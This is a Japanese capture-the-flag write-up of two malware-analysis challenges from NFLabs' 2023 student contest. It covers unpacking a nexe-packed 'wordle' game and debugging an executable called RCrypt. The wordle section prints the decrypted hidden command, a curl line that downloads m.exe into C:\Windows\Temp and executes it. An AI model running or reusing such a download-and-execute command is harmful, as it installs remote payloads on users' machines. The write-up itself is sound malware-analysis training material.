NFLabs. Cybersecurity Challenge for Students 2023に参加した。Malware編のwriteupを書く。

Malware編

[Easy] wordle

Description

我が社の海外拠点でアラートがあがったみたい!!
……って、業務用端末でゲームしちゃだめでしょ😠💢💢💢
しかもこれ、表層情報見たら変なコード入ってるじゃん!!さては、怪しいところから落としてきたな???
zip の password: nflabs

  • sha256(wordle.zip): 5ef9382dd1cccfa2505b8e19c2b469ee9b7289df76c1549a1f52ba5d90c84bdd

Files


fileでどのようなファイルか確認するとwordle.exe: PE32+ executable (console) x86-64, for MS Windowsとある。 stringsで連続するascii文字列を見るとwordleに関係してそうなjsonが埋め込まれていることがわかる。

  "Voice",
  "Waste",
  "Watch",
  "Water",
  "While",
  "White",
  "Whole",
  "Woman",
  "World",
  "Youth"
]<nexe~~sentinel>

nexeについて調べるとhttps://github.com/nexe/nexeが見つかる。nexeはNode.js application into a single executable fileができるツールであることがわかる。 とりあえず、JSに関係していそうなファイルをコマンドddを用いて抽出する。

dd if=./wordle.exe of=./wordle.exe.extracted bs=1 skip=55876096 count=360962

次のようなファイルが手に入る。

img
おそらくさっきのjsonが`words.json`なのだろう。wordlePromptなど関連がありそうなシンボルが見つかる。

setup()という本質っぽいブロックに注目する。 環境変数を鍵の一部として復号するenvironmental keyingっぽいことをしている。 Date.prototype.getTimezoneOffset()==480な場合、ハードコードされた文字列を復号してexecする。

a

Timezone offsetが条件を満たさないとearly returnされて本質部分がdead codeになるが、適当に書き換えて実行するとflagが得られた。

cmd.exe /c curl.exe -H 'FLAG: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}' http://192.0.2.1/m.exe -o C:\Windows\Temp\m.exe && C:\Windows\Temp\m.exe

flag: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}

[Easy] RCrypt

Description

不審な動きをする実行ファイル(RCrypt.exe)が見つかりました。 RCrypt.exeの内部動作を解析しましょう。

zip の password: nflabs

  • sha256(RCrypt.zip): 2c11fa829641d38df647ddf2f07c54a6b6708992d90625ef744d32992c85f889

Files


GET, POSTなどの文字列が見える。

ここが怪しそう
怪しそう

デバッガー(x64dbg)を用い、ctrl+shift+gでrvaのブレイクポイントを張り実行した。

メモリ上にflagが存在する。

flag

flag: NFLABS{Secret_Data}


最後に

  • 全ての"Malware"カテゴリーの問題ファイルがPEファイルだった。普段取り組むCTFと毛色が異なり新鮮だった。
  • DLL Sideloadingの問題に取り組んでいたが、正しくIATを復元できなかった/正しいunpackを行えていなかった。残念。Unpackについて考えたい。
    • (なおTwitterで問題作成者が元ネタに関する記事を投稿していたので、Twitter Intelligenceを使って探せばより早く解けたかもしれない。Twitter Intelligenceを舐めてはいけないという教訓。)